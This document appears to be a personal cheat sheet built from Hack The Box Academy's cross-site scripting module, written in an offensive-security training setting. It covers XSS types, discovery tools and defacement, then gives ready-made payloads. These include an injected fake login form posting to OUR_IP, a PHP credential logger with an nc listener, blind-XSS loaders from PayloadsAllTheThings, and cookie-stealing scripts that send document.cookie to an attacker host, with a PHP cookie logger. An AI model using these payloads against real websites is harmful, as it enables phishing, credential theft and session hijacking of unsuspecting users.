XSS

Types of XSS

TypeDescription

Stored (Persistent) XSS

The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g., posts or comments)

Reflected (Non-Persistent) XSS

Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g., search result or error message)

DOM-based XSS

Another Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)

Stored XSS

<script>alert(window.origin)</script>

Tip: Many modern web applications utilize cross-domain IFrames to handle user input, so that even if the web form is vulnerable to XSS, it would not be a vulnerability on the main web application. This is why we are showing the value of window.origin in the alert box, instead of a static value like 1. In this case, the alert box would reveal the URL it is being executed on, and will confirm which form is the vulnerable one, in case an IFrame was being used.

<script>print()</script>

Will pop up the browser print dialog, which is unlikely to be blocked by any browser

Cookies

<script>alert(document.cookie)</script>

Reflected XSS

<div></div><ul class="list-unstyled" id="todo"><div style="padding-left:25px">Task '<script>alert(window.origin)</script>' could not be added.</div></ul>

The single quotes contain our XSS payload '<script>alert(window.origin)</script>'.

GET request sends their parameters and data as part of the URL. So, to target a user, we can send them a URL containing our payload.

http://URL/index.php?task=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

DOM XSS

Sink:

  • document.write()

  • DOM.innerHTML

  • DOM.outerHTML

jQuery:

  • add()

  • after()

  • append()

var pos = document.URL.indexOf("task=");
var task = document.URL.substring(pos + 5, document.URL.length);
document.getElementById("todo").innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);

innerHTML function does not allow the use of the <script> tags within it as a security feature

Payload:

<img src="" onerror=alert(window.origin)>

XSS Discovery

Burp, Nessus, ZAP

Open Source

python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test" 

Other great tool:

Release Page - build in - Just download

Commercial Tool - Knoxss

Manual

See Payload

Note: XSS can be injected into any input in the HTML page, which is not exclusive to HTML input fields, but may also be in HTTP headers like the Cookie or User-Agent (i.e., when their values are displayed on the page).

Defacing

Three HTML elements are usually utilized to change the main look of a web page:

  • Background Color document.body.style.background

  • Background document.body.background

  • Page Title document.title

  • Page Text DOM.innerHTML

Changing Background

<script>document.body.style.background = "#141d2b"</script>

Tip: Here we set the background color to the default Hack The Box background color. We can use any other hex value, or can use a named color like = "black".

<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>

Changing Page Title

<script>document.title = 'HackTheBox Academy'</script>

Changing Page Text

document.getElementById("todo").innerHTML = "New Text"

jQuery

$("#todo").html('New Text');

innerHTML

document.getElementsByTagName('body')[0].innerHTML = "New Text"

document.getElementsByTagName('body') => by specifying [0], we are selecting the first body element, which should change the entire text of the web page

<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script>

Phishing

Tip: To understand which payload should work, try to view how your input is displayed in the HTML source after you add it.

Login Form Injection

Login form:

<h3>Please login to continue</h3>
<form action=http://OUR_IP>
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>

Payload:

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

Vicitm URL: http://SERVER_IP/phishing/index.php?url=...SNIP...

Remove the URL field, such that they may think that they have to log in to be able to use the page. To do so, we can use the JavaScript function document.getElementById().remove() function.

Find the id of the HTML element we want to remove:

document.getElementById('urlform').remove();

Final Payload:

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();

Remove the original HTML code left after our injected login form

...PAYLOAD... <!-- 

Credential Stealing

If any victim attempts to log in with the form, we will get their credentials.

 sudo nc -lvnp 80
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.XX.XX] XXXXX
GET /?username=test&password=test&submit=Login HTTP/1.1
Host: 10.10.XX.XX
...SNIP...

Use a basic PHP script that logs the credentials from the HTTP request and then returns the victim to the original page without any injections

index.php:

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>

Start a PHP listening server,

$ mkdir /tmp/tmpserver
$ cd /tmp/tmpserver
$ vi index.php #at this step we wrote our index.php file
$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started

Session Hijacking

Blind XSS Detection

<script src="http://OUR_IP/script.js"></script>

Identify the vulnerable input field that executed the script

<script src="http://OUR_IP/username"></script>

If we get a request for /username, then we know that the username field is vulnerable to XSS, and so on.

Payloads from PayloadsAllTheThings

"><script src=//OUR_IP/field_name></script>
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>
0xss0rz@htb[/htb]$ mkdir /tmp/tmpserver
0xss0rz@htb[/htb]$ cd /tmp/tmpserver
0xss0rz@htb[/htb]$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started

Now we can start testing these payloads one by one by using one of them for all of input fields and appending the name of the field after our IP

<script src=http://OUR_IP/fullname></script> #this goes inside the full-name field
<script src=http://OUR_IP/username></script> #this goes inside the username field
...SNIP...

Tip: We will notice that the email must match an email format, even if we try manipulating the HTTP request parameters, as it seems to be validated on both the front-end and the back-end. Hence, the email field is not vulnerable, and we can skip testing it. Likewise, we may skip the password field, as passwords are usually hashed and not usually shown in cleartext. This helps us in reducing the number of potentially vulnerable input fields we need to test.

Session Hijacking

Payloads

document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
<script>document.location='http://OUR_IP/index.php?c='+document.cookie;</script>
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>

Write any of these JavaScript payloads to script.js, which will be hosted on our VM

new Image().src='http://OUR_IP/index.php?c='+document.cookie

Change the URL in the XSS payload we found earlier to use script.js

<script src=http://OUR_IP/script.js></script>

If there were many cookies, we may not know which cookie value belongs to which cookie header. So, we can write a PHP script to split them with a new line and write them to a file

Save the following PHP script as index.php

<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>

Ressources

Payload

Tools

See XSS Discovery for more tools

Last updated